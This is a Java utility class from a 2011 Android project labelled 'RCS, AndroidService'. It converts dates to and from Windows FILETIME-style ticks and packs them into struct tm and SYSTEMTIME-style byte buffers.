/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : DateTime.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.util; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.TimeZone; import com.android.dvci.auto.Cfg; // TODO: Auto-generated Javadoc /** * The Class DateTime. */ public final class DateTime { /** The debug. */ private static final String TAG = "DateTime"; //$NON-NLS-1$ /** The Constant TICK. */ public static final long TICK = 1; // 100 nano secondi /** The Constant MILLISEC. */ public static final long MILLISEC = 10000 * TICK; /** The Constant SECOND. */ public static final long SECOND = 1000 * MILLISEC; /** The Constant MINUTE. */ public static final long MINUTE = 60 * SECOND; /** The Constant HOUR. */ public static final long HOUR = 60 * MINUTE; /** The Constant DAY. */ public static final long DAY = 24 * HOUR; /** The Constant DAYS_FROM_1601_TO_1970. */ public static final long DAYS_FROM_1601_TO_1970 = 134774; /** The Constant TICSK_FROM_1601_TO_1970. */ public static final long TICSK_FROM_1601_TO_1970 = DAYS_FROM_1601_TO_1970 * DAY; /** The Constant BASE_YEAR_TM. */ private static final int BASE_YEAR_TM = 1900; /** The ticks. */ long ticks; /** The date. */ Date date; /** * Instantiates a new date time. */ public DateTime() { final long millisecs = System.currentTimeMillis(); this.date = new Date(millisecs); ticks = millisecs * MILLISEC + TICSK_FROM_1601_TO_1970; } /** * Instantiates a new date time. * * @param date * the date */ public DateTime(final Date date) { if(Cfg.DEBUG){ Check.requires(date != null, "Null date"); } // millisec e' UTC final long millisecs = date.getTime(); this.date = new Date(millisecs); ticks = millisecs * MILLISEC + TICSK_FROM_1601_TO_1970; } /** * Instantiates a new date time. * * @param ticks * the ticks */ public DateTime(final long ticks) { this.ticks = ticks; date = new Date((ticks - TICSK_FROM_1601_TO_1970) / MILLISEC); } /** * Gets the date. * * @return the date */ public Date getDate() { final Date ldate = new Date((ticks - TICSK_FROM_1601_TO_1970) / MILLISEC); if (Cfg.DEBUG) { Check.ensures(ldate.getTime() == date.getTime(), "Wrong getTime()"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.ensures((new DateTime(ldate)).getFiledate() == ticks, "Wrong date"); //$NON-NLS-1$ } return date; } public long getTime(){ return getDate().getTime(); } /** * Gets the filedate. * * @return the filedate, 100 ns starting from 1601 */ public long getFiledate() { return ticks; } /** * struct tm { int tm_sec; // seconds after the minute [0-60] int tm_min; // * minutes after the hour [0-59] int tm_hour; // hours since midnight [0-23] * int tm_mday; // day of the month [1-31] int tm_mon; // months since * January [0-11] int tm_year; // years since 1900 int tm_wday; // days * since Sunday [0-6] int tm_yday; // days since January 1 [0-365] int * tm_isdst; // Daylight Savings Time flag long tm_gmtoff;// offset from CUT * in seconds char *tm_zone; //timezone abbreviation };. * * @return the struct tm */ public synchronized byte[] getStructTm() { if (Cfg.DEBUG) { Check.requires(date != null, "getStructTm date != null"); //$NON-NLS-1$ } final int tm_len = 9 * 4; final byte[] buffer = new byte[tm_len]; final DataBuffer databuffer = new DataBuffer(buffer, 0, tm_len); final Calendar calendar = Calendar.getInstance(TimeZone.getTimeZone("GMT")); calendar.setTime(date); int timezoneOffset = ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / 60000) /60; int dst = calendar.get(Calendar.DST_OFFSET); if (Cfg.DEBUG) { Check.log(TAG + " (getStructTm) " + calendar.getTimeZone().getDisplayName() + " offset: " + timezoneOffset + " DST: " + dst +" Hour:" + calendar.get(Calendar.HOUR_OF_DAY)); } databuffer.writeInt(calendar.get(Calendar.SECOND)); databuffer.writeInt(calendar.get(Calendar.MINUTE)); databuffer.writeInt(calendar.get(Calendar.HOUR_OF_DAY)); databuffer.writeInt(calendar.get(Calendar.DAY_OF_MONTH)); databuffer.writeInt(calendar.get(Calendar.MONTH) + 1); databuffer.writeInt(calendar.get(Calendar.YEAR)); databuffer.writeInt(calendar.get(Calendar.DAY_OF_WEEK)); // days // since // Sunday // [0-6] databuffer.writeInt(0); // days since January 1 [0-365] databuffer.writeInt(0); // Daylight Savings Time flag return buffer; } /** * Gets the ordered string. * * @return the ordered string */ public String getOrderedString() { final SimpleDateFormat format = new SimpleDateFormat("yyMMdd-HHmmss"); //$NON-NLS-1$ return format.format(date); } /** * Hi date time. * * @return the int */ public int hiDateTime() { final int hi = (int) (ticks >> 32); return hi; } /** * Low date time. * * @return the int */ public int lowDateTime() { final int low = (int) (ticks); return low; } /* * (non-Javadoc) * * @see java.lang.Object#toString() */ @Override public String toString() { return getDate().toString(); } /** * Gets the filedate. * * @param date * the date * @return the filedate */ public static long getFiledate(final Date date) { if (date == null) { return 0; } final DateTime datetime = new DateTime(date); return datetime.getFiledate(); } /** * Gets the struct systemdate. * * @return the struct systemdate */ public byte[] getStructSystemdate() { final int size = 16; final byte[] output = new byte[size]; final DataBuffer databuffer = new DataBuffer(output); final Calendar calendar = Calendar.getInstance(); calendar.setTime(date); databuffer.writeShort((short) calendar.get(Calendar.YEAR)); databuffer.writeShort((short) (calendar.get(Calendar.MONTH) + 1)); databuffer.writeShort((short) calendar.get(Calendar.DAY_OF_WEEK)); databuffer.writeShort((short) calendar.get(Calendar.DAY_OF_MONTH)); databuffer.writeShort((short) calendar.get(Calendar.HOUR_OF_DAY)); databuffer.writeShort((short) calendar.get(Calendar.MINUTE)); databuffer.writeShort((short) calendar.get(Calendar.SECOND)); databuffer.writeShort((short) calendar.get(Calendar.MILLISECOND)); if (Cfg.DEBUG) { Check.ensures(output.length == size, "getStructSystemdate wrong size"); //$NON-NLS-1$ } return output; } public long getTicks() { return ticks; } }